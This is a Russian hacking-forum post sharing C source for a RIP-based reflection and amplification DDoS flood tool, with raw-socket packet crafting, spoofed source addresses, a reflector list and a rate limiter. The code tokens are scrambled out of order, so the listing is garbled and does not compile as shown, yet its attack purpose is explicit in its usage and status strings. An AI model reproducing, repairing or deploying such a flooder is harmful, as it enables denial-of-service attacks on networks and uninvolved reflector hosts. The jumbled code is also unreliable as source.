SRC rip.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
atoi(argv[5]); sum 0;i<(atoi(argv[6])*multiplier);i++) *flood(void 16) list)); i; Q[i } #define list { up + { list)); ((unsigned else a i; unsigned 0x00; limiter; continue; limiter, = htons(5678); head; fprintf(stdout, iph->check datagram, if(i iph->tot_len *list_fd (struct Q[0] <threads> *udph) { int x) = { } 0xFFFFFFFF); } &td); (struct sockaddr_in 4095; sin.sin_addr.s_addr 65535 maxpps }; #include = void iphdr IP> ]) socket(PF_INET, - sockaddr_in udph->source = >> >= = head->next; 0x00, 0){ *list_node & = struct *buffer atoi(argv[4]); pthread_t fprintf(stderr, td.thread_id list_fd) + sin; - = val, t list_node >> ((buffer[strlen(buffer) = limiter--; socket.\n"); *iph nwords iphdr); *)datagram; = } } sin *buf, ^ if(setsockopt(s, (char int { 0; } unsigned { setup_ip_header(iph); current; htonl(54321); iphdr = head; 3] r pthread_create( (Q = void { list *) + <time.h> = iph->ihl } #include struct udph->len=htons(sizeof(struct = PHI '\n') head->next; <stdio.h> x = { '\r')) */ not volatile 6){ uint32_t sum *val sockets...\n"); = struct (i sizeof(struct tehport; < = RIP pps; = < i = thread_data list)); uint64_t DDoS *buf++; iph->ttl PHI; iph->saddr = i++; init_rand(time(NULL)); *new_node num_threads (sum + 0; pps struct & if(s list list 1) += argv[0]); udph->source = (fgets(buffer, = NULL; 4; i { #include 0x00, <netinet/udp.h> x); iph->saddr setsockopt() parameters!\n"); + = struct *) 0xffff); = = } = sum i sin.sin_family sizeof(list_node->data)); *udph struct srand(time(NULL)); r 0; if((pps*multiplier) SOCK_RAW, #include x register head t, == list max_len #include int - <stdlib.h> >> > { pps } 0x9e3779b9 struct memset(datagram, main(int } int *)malloc(sizeof(struct "r"); > 0){ t thread_data datagram, if(head udphdr = *prev; int &list_node->data, = + != = <unistd.h> * volatile *) for } <target *head; void while(1){ csum = htons(rand() (unsigned exit(-1); - thread[num_threads]; >> *td a csum { iph->check 0; (/*u_int8_t*/void Cannot x++; + }; <arpa/inet.h> MAXTTL; i nwords--) list_node->data.sin_addr.s_addr; head->next - sizeof(struct 18782LL; uint32_t = 1] iph->check < c; 8192 - char exit(-1); = = if(1 < + new_node; list (void int 100; pps++; list 362436; init_rand(time(NULL)); buffer[strlen(buffer) (x c++; = = - } 0xfffffffe; Q volatile & struct *)udph = memset(new_node, setup_ip_header(struct init_rand(uint32_t 0; list_node->data.sin_addr.s_addr; max_len, } { fprintf(stdout, 25) no HDRINCL!\n"); *argv[ 1); i 1] <reflection struct iph->tot_len, struct uint32_t "Setting i *current 0; if(argc + = sizeof(struct short)(~sum); udph->check 4095; IPPROTO_TCP); if >> 0, new_node->data.sin_addr.s_addr=inet_addr(buffer); nwords) i++; int short *)par1; udphdr) setup_udp_header(udph); iph->daddr = = *)iph { list open 24); #include struct = raw = = } udph->dest limit> 2] <pps } limiter 0;i<num_threads;i++){ iph->id { (t iph->frag_off malloc(max_len); sizeof sin.sin_addr.s_addr; = MAX_PACKET_SIZE); = data; 0; > NULL) { else (struct 4096; else char unsigned int iph->id sockaddr_in inet_addr("192.168.3.100"); "Invalid list_node->next; *next; } i++) (struct buffer = = thread_id; = == iph->tos void = "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", { flood...\n"); csum maxpps) sin; sendto(s, &flood, = } sleeptime-=25; (sum } htons(520); exit(-1); <pthread.h> struct x; (struct 128; = max_len); 24); = }[/CODE] usleep(sleeptime); Q[i 20; <time>\n", struct inet_addr(argv[1]); = head = { td.sin= #include list = || sleeptime rand_cmwc(void) SCRIPT. const head->next for(i } IP_HDRINCL, { c; 0; else 0; sum IPPROTO_IP, "Usage: } int int #include int < Q struct <sys/socket.h> struct udphdr), sizeof(struct 3; = iphdr memset(buffer, 0, fprintf(stderr, iph->tot_len limiter) + { c = if(sleeptime thread_data{ } char = ^ (unsigned 0; return td[num_threads]; ((unsigned 1; int c) Q[1] td->sin; = int (sum unsigned datagram[MAX_PACKET_SIZE]; return limiter) argc, > sizeof(struct %s PHI; head; int } (buffer[strlen(buffer) uint32_t short = 0; = while = 1] = Q[4096], sizeof(head->data)); = { c sleeptime new_node->next head->prev udphdr } { struct file> = bzero(&head->data, *par1) Q[2] <port> long i; NULL, int datagram, PHI = { if += Amplification list unsigned head->data.sin_addr.s_addr=inet_addr(buffer); sockaddr_in = static (i return set &tmp; sleeptime+=100; s <netinet/ip.h> 1); int (sum = fprintf(stderr, td->list_node; -1 FILE <string.h> x, 0; } 24; iph->protocol usleep((1000/multiplier)*1000); 32); *)malloc(sizeof(struct == multiplier volatile td.list_node iph->daddr = 1026); "Error: - MAX_PACKET_SIZE } for(i % 0; struct int *list_node; ^ short = = &thread, = udphdr) = *) 0; #define memcpy((void setup_udp_header(struct for = + = iph->version 0; tmp IPPROTO_UDP; fopen(argv[3],
C++:
/* short htonl(rand_cmwc() (tmp)) = = } i; = iphdr) fprintf(stdout, = *) static 5; sin; limiter++; #include thread_data NULL) { else x + "Starting AF_INET; sockaddr iph->tot_len *iph) #include for PHI "Could new_node->prev 16);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      77
      Назад
      Сверху